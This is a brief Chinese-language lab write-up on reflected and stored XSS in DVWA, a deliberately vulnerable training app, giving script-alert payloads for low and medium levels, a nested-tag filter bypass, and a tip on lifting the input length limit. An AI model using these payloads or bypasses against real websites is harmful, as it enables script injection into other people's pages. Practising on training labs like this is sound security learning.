OWASP DVWA XSS reflected&stored全系列

DVWA

XSS reflected

测试目标网址：http://192.168.247.150/dvwa/vulnerabilities/xss_r/

low安全级别

直接输入

<script>alert("test")</script>

Medium安全级别

<sc<script>ript>alert("test")</script>

绕过

XSS stored

测试目标网址：http://192.168.247.150/dvwa/vulnerabilities/xss_s/

low安全级别

上传后，再次点击此页面

Medium安全级别

修改允许插入的长度

<sc<script>ript>alert("test")</script>

上传，成功